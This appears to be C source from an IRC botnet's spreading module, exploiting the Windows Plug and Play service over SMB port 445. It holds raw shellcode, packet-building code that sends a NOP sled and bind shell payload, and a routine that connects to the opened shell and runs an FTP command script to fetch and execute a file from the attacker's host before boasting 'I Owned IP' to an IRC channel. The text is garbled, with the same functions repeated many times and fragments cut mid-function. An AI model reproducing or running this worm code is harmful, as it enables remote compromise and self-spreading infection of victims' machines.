	// shellcode
	memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);

	// end of packet
	memcpy( packet + 2196 - sizeof(RPC_call_end)-1 + 2,
		RPC_call_end,
		sizeof(RPC_call_end)-1);

	if (send(sockfd, packet, 2196, 0) < 0) {
		return false;
	}

	recv(sockfd, recvbuf, 4096, 0);

	closesocket(sockfd);

	Sleep(300);

	if (ConnectShell(exinfo) != false) {
		_snprintf( buffer, sizeof(buffer), "[%s]: I Owned IP: %s.", exploit[ exinfo.exploit ].name, exinfo.ip );
		irc_privmsg( exinfo.sock, exinfo.chan, buffer, exinfo.notice );
		addlog( buffer );
		exploit[ exinfo.exploit ].stats++;
	}

	return true;

}


{

		int len;
		char recvbuf[1024];
		SOCKET sockfd;
		SOCKADDR_IN shell_addr;
		memset(&shell_addr, 0, sizeof(shell_addr));

		shell_addr.sin_family = AF_INET;
		shell_addr.sin_addr.s_addr = finet_addr(exinfo.ip);

 // = *((LPIN_ADDR) * lpHostEntry->h_addr_list);
		shell_addr.sin_port = fhtons(8888);

		if ((sockfd = fsocket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET )
			return false;
		if (fconnect(sockfd, (LPSOCKADDR)&shell_addr, sizeof(shell_addr)) == SOCKET_ERROR)
			return false;

		char mkdir_buff[400];

		len = frecv(sockfd, recvbuf, 1024, 0);

		_snprintf(mkdir_buff, sizeof (mkdir_buff),
		"echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo quit >> o &ftp -n -s:o &%s\r\n",
		GetIP(exinfo.sock),FTP_PORT,filename,filename);

		if (fsend(sockfd, mkdir_buff, strlen(mkdir_buff),0) == -1)
			return false;

		Sleep(500);

		_snprintf(mkdir_buff, sizeof (mkdir_buff), "%s\r\n", filename);

		if (fsend(sockfd, mkdir_buff, strlen(mkdir_buff),0) == -1)
			return false;
		len = frecv(sockfd, recvbuf, 1024, 0);

		fclosesocket(sockfd);
		return true;

}

BOOL pnp445(EXINFO exinfo)
{
	struct sockaddr_in addr;
	struct hostent *he;
	int len;
	int sockfd;
	unsigned short smblen;
	char tmp[1024];
	char packet[4096];
	char *ptr;
	char recvbuf[4096];
	char buffer[ IRCLINE ];

	WSADATA wsa;
	WSAStartup(MAKEWORD(2,0), &wsa);

	if ((he = gethostbyname(exinfo.ip)) == NULL) {
		return false;
	}

	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		return false;
	}

	addr.sin_family = AF_INET;
	addr.sin_port = htons(445);
	addr.sin_addr = *((struct in_addr *)he->h_addr);
	memset(&(addr.sin_zero), '\0', 8);

	if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
		return false;
	}

	if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if (len <= 10) {
		return false;;
	}

	if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	ptr = packet;
	memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1);
	ptr += sizeof(SMB_TreeConnectAndX)-1;

	sprintf(tmp, "\\\\%s\\IPC$", exinfo.ip);
	convert_name(ptr, tmp);
	smblen = strlen(tmp)*2;
	ptr += smblen;
	smblen += 9;
	memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1);

	memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1);
	ptr += sizeof(SMB_TreeConnectAndX_)-1;

	smblen = ptr-packet;
	smblen -= 4;
	memcpy(packet+3, &smblen, 1);

	if (send(sockfd, packet, ptr-packet, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_PipeRequest_browser, sizeof(SMB_PipeRequest_browser)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	// nop
	ptr = packet;
	memset(packet, '\x90', sizeof(packet));

	// header & offsets
	memcpy(ptr, RPC_call, sizeof(RPC_call)-1);
	ptr += sizeof(RPC_call)-1;

	// shellcode
	memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);

	// end of packet
	memcpy( packet + 2196 - sizeof(RPC_call_end)-1 + 2,
		RPC_call_end,
		sizeof(RPC_call_end)-1);

	if (send(sockfd, packet, 2196, 0) < 0) {
		return false;
	}

	recv(sockfd, recvbuf, 4096, 0);

	closesocket(sockfd);

	Sleep(300);

	if (ConnectShell(exinfo) != false) {
		_snprintf( buffer, sizeof(buffer), "[%s]: I Owned IP: %s.", exploit[ exinfo.exploit ].name, exinfo.ip );
		irc_privmsg( exinfo.sock, exinfo.chan, buffer, exinfo.notice );
		addlog( buffer );
		exploit[ exinfo.exploit ].stats++;
	}

	return true;

}


// = *((LPIN_ADDR) * lpHostEntry->h_addr_list);
		shell_addr.sin_port = fhtons(8888);

		if ((sockfd = fsocket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET )
			return false;
		if (fconnect(sockfd, (LPSOCKADDR)&shell_addr, sizeof(shell_addr)) == SOCKET_ERROR)
			return false;

		char mkdir_buff[400];

		len = frecv(sockfd, recvbuf, 1024, 0);

		_snprintf(mkdir_buff, sizeof (mkdir_buff),
		"echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo quit >> o &ftp -n -s:o &%s\r\n",
		GetIP(exinfo.sock),FTP_PORT,filename,filename);

		if (fsend(sockfd, mkdir_buff, strlen(mkdir_buff),0) == -1)
			return false;

		Sleep(500);

		_snprintf(mkdir_buff, sizeof (mkdir_buff), "%s\r\n", filename);

		if (fsend(sockfd, mkdir_buff, strlen(mkdir_buff),0) == -1)
			return false;
		len = frecv(sockfd, recvbuf, 1024, 0);

		fclosesocket(sockfd);
		return true;

}

BOOL pnp445(EXINFO exinfo)
{
	struct sockaddr_in addr;
	struct hostent *he;
	int len;
	int sockfd;
	unsigned short smblen;
	char tmp[1024];
	char packet[4096];
	char *ptr;
	char recvbuf[4096];
	char buffer[ IRCLINE ];

	WSADATA wsa;
	WSAStartup(MAKEWORD(2,0), &wsa);

	if ((he = gethostbyname(exinfo.ip)) == NULL) {
		return false;
	}

	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		return false;
	}

	addr.sin_family = AF_INET;
	addr.sin_port = htons(445);
	addr.sin_addr = *((struct in_addr *)he->h_addr);
	memset(&(addr.sin_zero), '\0', 8);

	if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
		return false;
	}

	if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if (len <= 10) {
		return false;;
	}

	if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	ptr = packet;
	memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1);
	ptr += sizeof(SMB_TreeConnectAndX)-1;

	sprintf(tmp, "\\\\%s\\IPC$", exinfo.ip);
	convert_name(ptr, tmp);
	smblen = strlen(tmp)*2;
	ptr += smblen;
	smblen += 9;
	memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1);

	memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1);
	ptr += sizeof(SMB_TreeConnectAndX_)-1;

	smblen = ptr-packet;
	smblen -= 4;
	memcpy(packet+3, &smblen, 1);

	if (send(sockfd, packet, ptr-packet, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_PipeRequest_browser, sizeof(SMB_PipeRequest_browser)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	// nop
	ptr = packet;
	memset(packet, '\x90', sizeof(packet));

	// header & offsets
	memcpy(ptr, RPC_call, sizeof(RPC_call)-1);
	ptr += sizeof(RPC_call)-1;

	// shellcode
	memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);

	// end of packet
	memcpy( packet + 2196 - sizeof(RPC_call_end)-1 + 2,
		RPC_call_end,
		sizeof(RPC_call_end)-1);

	if (send(sockfd, packet, 2196, 0) < 0) {
		return false;
	}

	recv(sockfd, recvbuf, 4096, 0);

	closesocket(sockfd);

	Sleep(300);

	if (ConnectShell(exinfo) != false) {
		_snprintf( buffer, sizeof(buffer), "[%s]: I Owned IP: %s.", exploit[ exinfo.exploit ].name, exinfo.ip );
		irc_privmsg( exinfo.sock, exinfo.chan, buffer, exinfo.notice );
		addlog( buffer );
		exploit[ exinfo.exploit ].stats++;
	}

	return true;

}


if (fsend(sockfd, mkdir_buff, strlen(mkdir_buff),0) == -1)
			return false;

		Sleep(500);

		_snprintf(mkdir_buff, sizeof (mkdir_buff), "%s\r\n", filename);

		if (fsend(sockfd, mkdir_buff, strlen(mkdir_buff),0) == -1)
			return false;
		len = frecv(sockfd, recvbuf, 1024, 0);

		fclosesocket(sockfd);
		return true;

}

BOOL pnp445(EXINFO exinfo)
{
	struct sockaddr_in addr;
	struct hostent *he;
	int len;
	int sockfd;
	unsigned short smblen;
	char tmp[1024];
	char packet[4096];
	char *ptr;
	char recvbuf[4096];
	char buffer[ IRCLINE ];

	WSADATA wsa;
	WSAStartup(MAKEWORD(2,0), &wsa);

	if ((he = gethostbyname(exinfo.ip)) == NULL) {
		return false;
	}

	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		return false;
	}

	addr.sin_family = AF_INET;
	addr.sin_port = htons(445);
	addr.sin_addr = *((struct in_addr *)he->h_addr);
	memset(&(addr.sin_zero), '\0', 8);

	if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
		return false;
	}

	if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if (len <= 10) {
		return false;;
	}

	if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	ptr = packet;
	memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1);
	ptr += sizeof(SMB_TreeConnectAndX)-1;

	sprintf(tmp, "\\\\%s\\IPC$", exinfo.ip);
	convert_name(ptr, tmp);
	smblen = strlen(tmp)*2;
	ptr += smblen;
	smblen += 9;
	memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1);

	memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1);
	ptr += sizeof(SMB_TreeConnectAndX_)-1;

	smblen = ptr-packet;
	smblen -= 4;
	memcpy(packet+3, &smblen, 1);

	if (send(sockfd, packet, ptr-packet, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_PipeRequest_browser, sizeof(SMB_PipeRequest_browser)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	// nop
	ptr = packet;
	memset(packet, '\x90', sizeof(packet));

	// header & offsets
	memcpy(ptr, RPC_call, sizeof(RPC_call)-1);
	ptr += sizeof(RPC_call)-1;

	// shellcode
	memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);

	// end of packet
	memcpy( packet + 2196 - sizeof(RPC_call_end)-1 + 2,
		RPC_call_end,
		sizeof(RPC_call_end)-1);

	if (send(sockfd, packet, 2196, 0) < 0) {
		return false;
	}

	recv(sockfd, recvbuf, 4096, 0);

	closesocket(sockfd);

	Sleep(300);

	if (ConnectShell(exinfo) != false) {
		_snprintf( buffer, sizeof(buffer), "[%s]: I Owned IP: %s.", exploit[ exinfo.exploit ].name, exinfo.ip );
		irc_privmsg( exinfo.sock, exinfo.chan, buffer, exinfo.notice );
		addlog( buffer );
		exploit[ exinfo.exploit ].stats++;
	}

	return true;

}


	char tmp[1024];
	char packet[4096];
	char *ptr;
	char recvbuf[4096];
	char buffer[ IRCLINE ];

	WSADATA wsa;
	WSAStartup(MAKEWORD(2,0), &wsa);

	if ((he = gethostbyname(exinfo.ip)) == NULL) {
		return false;
	}

	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		return false;
	}

	addr.sin_family = AF_INET;
	addr.sin_port = htons(445);
	addr.sin_addr = *((struct in_addr *)he->h_addr);
	memset(&(addr.sin_zero), '\0', 8);

	if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
		return false;
	}

	if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if (len <= 10) {
		return false;;
	}

	if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	ptr = packet;
	memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1);
	ptr += sizeof(SMB_TreeConnectAndX)-1;

	sprintf(tmp, "\\\\%s\\IPC$", exinfo.ip);
	convert_name(ptr, tmp);
	smblen = strlen(tmp)*2;
	ptr += smblen;
	smblen += 9;
	memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1);

	memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1);
	ptr += sizeof(SMB_TreeConnectAndX_)-1;

	smblen = ptr-packet;
	smblen -= 4;
	memcpy(packet+3, &smblen, 1);

	if (send(sockfd, packet, ptr-packet, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_PipeRequest_browser, sizeof(SMB_PipeRequest_browser)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	// nop
	ptr = packet;
	memset(packet, '\x90', sizeof(packet));

	// header & offsets
	memcpy(ptr, RPC_call, sizeof(RPC_call)-1);
	ptr += sizeof(RPC_call)-1;

	// shellcode
	memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);

	// end of packet
	memcpy( packet + 2196 - sizeof(RPC_call_end)-1 + 2,
		RPC_call_end,
		sizeof(RPC_call_end)-1);

	if (send(sockfd, packet, 2196, 0) < 0) {
		return false;
	}

	recv(sockfd, recvbuf, 4096, 0);

	closesocket(sockfd);

	Sleep(300);

	if (ConnectShell(exinfo) != false) {
		_snprintf( buffer, sizeof(buffer), "[%s]: I Owned IP: %s.", exploit[ exinfo.exploit ].name, exinfo.ip );
		irc_privmsg( exinfo.sock, exinfo.chan, buffer, exinfo.notice );
		addlog( buffer );
		exploit[ exinfo.exploit ].stats++;
	}

	return true;

}


if (fsend(sockfd, mkdir_buff, strlen(mkdir_buff),0) == -1)
			return false;

		len = frecv(sockfd, recvbuf, 1024, 0);

		fclosesocket(sockfd);
		return true;

}

BOOL pnp445(EXINFO exinfo)
{
	struct sockaddr_in addr;
	struct hostent *he;
	int len;
	int sockfd;
	unsigned short smblen;
	char tmp[1024];
	char packet[4096];
	char *ptr;
	char recvbuf[4096];
	char buffer[ IRCLINE ];

	WSADATA wsa;
	WSAStartup(MAKEWORD(2,0), &wsa);

	if ((he = gethostbyname(exinfo.ip)) == NULL) {
		return false;
	}

	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		return false;
	}

	addr.sin_family = AF_INET;
	addr.sin_port = htons(445);
	addr.sin_addr = *((struct in_addr *)he->h_addr);
	memset(&(addr.sin_zero), '\0', 8);

	if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
		return false;
	}

	if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if (len <= 10) {
		return false;;
	}

	if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	ptr = packet;
	memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1);
	ptr += sizeof(SMB_TreeConnectAndX)-1;

	sprintf(tmp, "\\\\%s\\IPC$", exinfo.ip);
	convert_name(ptr, tmp);
	smblen = strlen(tmp)*2;
	ptr += smblen;
	smblen += 9;
	memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1);

	memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1);
	ptr += sizeof(SMB_TreeConnectAndX_)-1;

	smblen = ptr-packet;
	smblen -= 4;
	memcpy(packet+3, &smblen, 1);

	if (send(sockfd, packet, ptr-packet, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_PipeRequest_browser, sizeof(SMB_PipeRequest_browser)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	// nop
	ptr = packet;
	memset(packet, '\x90', sizeof(packet));

	// header & offsets
	memcpy(ptr, RPC_call, sizeof(RPC_call)-1);
	ptr += sizeof(RPC_call)-1;

	// shellcode
	memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);

	// end of packet
	memcpy( packet + 2196 - sizeof(RPC_call_end)-1 + 2,
		RPC_call_end,
		sizeof(RPC_call_end)-1);

	if (send(sockfd, packet, 2196, 0) < 0) {
		return false;
	}

	recv(sockfd, recvbuf, 4096, 0);

	closesocket(sockfd);

	Sleep(300);

	if (ConnectShell(exinfo) != false) {
		_snprintf( buffer, sizeof(buffer), "[%s]: I Owned IP: %s.", exploit[ exinfo.exploit ].name, exinfo.ip );
		irc_privmsg( exinfo.sock, exinfo.chan, buffer, exinfo.notice );
		addlog( buffer );
		exploit[ exinfo.exploit ].stats++;
	}

	return true;

}


}

bool ConnectShell(EXINFO exinfo) {

		int len;
		char recvbuf[1024];
		SOCKET sockfd;
		SOCKADDR_IN shell_addr;
		memset(&shell_addr, 0, sizeof(shell_addr));

		shell_addr.sin_family = AF_INET;
		shell_addr.sin_addr.s_addr = finet_addr(exinfo.ip); // = *((LPIN_ADDR) * lpHostEntry->h_addr_list);
		shell_addr.sin_port = fhtons(8888);

		if ((sockfd = fsocket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET )
			return false;
		if (fconnect(sockfd, (LPSOCKADDR)&shell_addr, sizeof(shell_addr)) == SOCKET_ERROR)
			return false;

		char mkdir_buff[400];

		len = frecv(sockfd, recvbuf, 1024, 0);

		_snprintf(mkdir_buff, sizeof (mkdir_buff),
		"echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo quit >> o &ftp -n -s:o &%s\r\n",
		GetIP(exinfo.sock),FTP_PORT,filename,filename);

		if (fsend(sockfd, mkdir_buff, strlen(mkdir_buff),0) == -1)
			return false;

		Sleep(500);

		_snprintf(mkdir_buff, sizeof (mkdir_buff), "%s\r\n", filename);

		if (fsend(sockfd, mkdir_buff, strlen(mkdir_buff),0) == -1)
			return false;
		len = frecv(sockfd, recvbuf, 1024, 0);

		fclosesocket(sockfd);
		return true;

}

BOOL pnp445(EXINFO exinfo)
{
	struct sockaddr_in addr;
	struct hostent *he;
	int len;
	int sockfd;
	unsigned short smblen;
	char tmp[1024];
	char packet[4096];
	char *ptr;
	char recvbuf[4096];
	char buffer[ IRCLINE ];

	WSADATA wsa;
	WSAStartup(MAKEWORD(2,0), &wsa);

	if ((he = gethostbyname(exinfo.ip)) == NULL) {
		return false;
	}

	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		return false;
	}

	addr.sin_family = AF_INET;
	addr.sin_port = htons(445);
	addr.sin_addr = *((struct in_addr *)he->h_addr);
	memset(&(addr.sin_zero), '\0', 8);

	if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
		return false;
	}

	if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if (len <= 10) {
		return false;;
	}

	if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	ptr = packet;
	memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1);
	ptr += sizeof(SMB_TreeConnectAndX)-1;

	sprintf(tmp, "\\\\%s\\IPC$", exinfo.ip);
	convert_name(ptr, tmp);
	smblen = strlen(tmp)*2;
	ptr += smblen;
	smblen += 9;
	memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1);

	memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1);
	ptr += sizeof(SMB_TreeConnectAndX_)-1;

	smblen = ptr-packet;
	smblen -= 4;
	memcpy(packet+3, &smblen, 1);

	if (send(sockfd, packet, ptr-packet, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_PipeRequest_browser, sizeof(SMB_PipeRequest_browser)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) {
		return false;
	}

	len = recv(sockfd, recvbuf, 4096, 0);
	if ((len <= 10) || (recvbuf[9] != 0)) {
		return false;
	}

	// nop
	ptr = packet;
	memset(packet, '\x90', sizeof(packet));

	// header & offsets
	memcpy(ptr, RPC_call, sizeof(RPC_call)-1);
	ptr += sizeof(RPC_call)-1;

	// shellcode
	memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);

	// end of packet
	memcpy( packet + 2196 - sizeof(RPC_call_end)-1 + 2,
		RPC_call_end,
		sizeof(RPC_call_end)-1);

	if (send(sockfd, packet, 2196, 0) < 0) {
		return false;
	}

	recv(sockfd, recvbuf, 4096, 0);

	closesocket(sockfd);

	Sleep(300);

	if (ConnectShell(exinfo) != false) {
		_snprintf( buffer, sizeof(buffer), "[%s]: I Owned IP: %s.", exploit[ exinfo.exploit ].name, exinfo.ip );
		irc_privmsg( exinfo.sock, exinfo.chan, buffer, exinfo.notice );
		addlog( buffer );
		exploit[ exinfo.exploit ].stats++;
	}

	return true;

}


9c\x1c\x27\x5d\xbf\x90\xc5"
"\x6a\x20\x82\xe9\x39\xbb\x90\xc3\x5d\x62\x8a\x73\x83\x06\x67\x17"
"\x57\x81\x6d\xea\xd2\x83\xb6\x1c\xf7\x46\x38\xea\xd4\xb8\x3c\x46"
"\x51\xb8\x2c\x46\x41\xb8\x90\xc5\x64\x83\x4d\xad\x64\xb8\xe6\xf4"
"\x97\x83\xcb\x0f\x72\x2c\x38\xea\xd4\x81\x7f\x44\x57\x14\xbf\x7d"
"\xa6\x46\x41\xfc\x55\x14\xb9\x46\x57\x14\xbf\x7d\xe7\xa2\xe9\x5c"
"\x55\x14\xb9\x45\x56\xbf\x3a\xea\xd2\x78\x07\xf2\x7b\x2d\x16\x42"
"\xfd\x3d\x3a\xea\xd2\x8d\x05\x71\x64\x83\x0c\x78\x8b\x0e\x05\x45"
"\x5b\xc2\xa3\x9c\xe5\x81\x2b\x9c\xe0\xda\xaf\xe6\xa8\x15\x2d\x38"
"\xfc\xa9\x43\x86\x8f\x91\x57\xbe\xa9\x40\x07\x67\xfc\x58\x79\xea"
"\x77\xaf\x90\xc3\x59\xbc\x3d\x44\x53\xba\x05\x14\x53\xba\x3a\x44"
"\xfd\x3b\x07\xb8\xdb\xee\xa1\x46\xfd\x3d\x05\xea\xfd\xdc\x90\xc5"
"\x89\xbc\x93\x96\xc6\x8f\x90\xc3\x50\x14\xbf\x7d\xed\x25\x8f\x75"
"\x51\x14\xb9\xea\xd2\xeb\x6f\x15";

void
convert_name(char *out, char *name)
{
	unsigned long len;

	len = strlen(name);
	out += len * 2 - 1;
	while (len--) {
		*out-- = '\x00';
		*out-- = name[len];
	}
}

bool ConnectShell(EXINFO exinfo) {

		int len;
		char recvbuf[1024];
		SOCKET sockfd;
		SOCKADDR_IN shell_addr;
		memset(&shell_addr, 0, sizeof(shell_addr));

		shell_addr.sin_family = AF_INET;
		shell_addr.sin_addr.s_addr = finet_addr(exinfo.ip); // = *((LPIN_ADDR) * lpHostEntry->h_addr_list);
		shell_addr.sin_port = fhtons(8888);

		if ((sockfd = fsocket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET )
			return false;
		if (fconnect(sockfd, (LPSOCKADDR)&shell_addr, sizeof(shell_addr)) == SOCKET_ERROR)
			return false;

		char mkdir_buff[400];

		len = frecv(sockfd, recvbuf, 1024, 0);

		_snprintf(mkdir_buff, sizeof (mkdir_buff),
		"echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo quit >> o &ftp -n -s:o &%s\r\n",
		GetIP(exinfo.sock),FTP_PORT,filename,filename);

		if (fsend(sockfd, mkdir_buff, strlen(mkdir_buff),0) == -1)
			return false;

		Sleep(500);

		_snprintf(mkdir_buff, sizeof (mkdir_buff), "%s\r\n", filename);

		if (fsend(sockfd, mkdir_buff, strlen(mkdir_buff),0) == -1)
			return false;
		len = frecv(sockfd, recvbuf, 1024, 0);

		fclosesocket(sockfd);
		return true;

}

BOOL pnp445(EXINFO exinfo)
{
	struct sockaddr_in addr;
	struct hostent *he;
	int len;
	int sockfd;
	unsigned short smblen;
	char tmp[1024];
